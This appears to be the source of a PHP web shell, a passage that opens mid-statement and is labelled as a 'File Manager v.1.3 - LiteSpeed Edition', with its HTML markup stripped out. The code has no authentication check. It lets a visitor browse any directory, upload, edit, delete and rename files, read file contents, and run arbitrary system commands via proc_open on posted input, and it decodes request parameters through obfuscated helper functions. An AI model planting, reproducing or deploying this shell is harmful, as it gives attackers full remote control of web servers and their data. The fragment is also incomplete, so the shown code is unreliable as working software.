$d) $_GET[$c] = y($d); $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); chdir($currentDirectory); $viewCommandResult = ''; $statusMessage = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { $statusMessage = '
File "' . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . '" uploaded successfully
'; } else { $statusMessage = '
Error: Failed to upload file
'; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $newFolder = $currentDirectory . '/' . $_POST['folder_name']; if (!file_exists($newFolder)) { mkdir($newFolder); $statusMessage = '
Folder created successfully
'; } else { $statusMessage = '
Error: Folder already exists
'; } } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if (file_put_contents($newFile, $_POST['file_content']) !== false) { $statusMessage = '
File created successfully
'; } else { $statusMessage = '
Error: Failed to create file
'; } } else { if (file_put_contents($newFile, $_POST['file_content']) !== false) { $statusMessage = '
File edited successfully
'; } else { $statusMessage = '
Error: Failed to edit file
'; } } } elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { $statusMessage = '
Folder deleted successfully
'; } else { $statusMessage = '
Error: Failed to delete folder
'; } } else { if (unlink($fileToDelete)) { $statusMessage = '
File deleted successfully
'; } else { $statusMessage = '
Error: Failed to delete file
'; } } } else { $statusMessage = '
Error: File or directory not found
'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { $statusMessage = '
Item renamed successfully
'; } else { $statusMessage = '
Error: Failed to rename item
'; } } else { $statusMessage = '
Error: Item not found
'; } } elseif (isset($_POST['cmd_input'])) { $command = $_POST['cmd_input']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $viewCommandResult = '

Command Result (Error Output):

'; } else { $viewCommandResult = '

Command Result:

'; } } else { $viewCommandResult = '
Error: Failed to execute command
'; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = '

Viewing: ' . $_POST['view_file'] . '

'; } else { $viewCommandResult = '
Error: File not found
'; } } } echo '
'; echo '

File Manager

'; echo '

v.1.3 - LiteSpeed Edition

'; echo '
'; echo '

Server Timezone: ' . $timezone . ' | Current Time: ' . date('Y-m-d H:i:s') . '

'; echo '
'; echo '
'; echo $statusMessage; echo ''; echo '
'; echo ''; echo ''; echo ''; echo ''; echo '
'; echo $viewCommandResult; echo '
'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; foreach (scandir($currentDirectory) as $v) { if ($v == '.' || $v == '..') continue; $u = realpath($v); $s = stat($u); $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?d=' . x($currentDirectory) . '&f=' . x($v); $permission = substr(sprintf('%o', fileperms($u)), -4); $writable = is_writable($u); $rowClass = $writable ? 'writable' : ''; echo ''; echo ''; echo ''; echo ''; echo ''; // View button echo ''; // Delete button echo ''; // Rename form echo ''; echo ''; } echo ''; echo '
NameSizeModifiedPermissionsViewDeleteRename
' . $v . (is_dir($v) ? ' /' : '') . '' . (is_dir($v) ? '<DIR>' : formatFileSize(filesize($u))) . '' . date('Y-m-d H:i', filemtime($u)) . '' . $permission . ''; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo '
'; function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return $bytes . ' byte'; } else { return '0 bytes'; } } ?>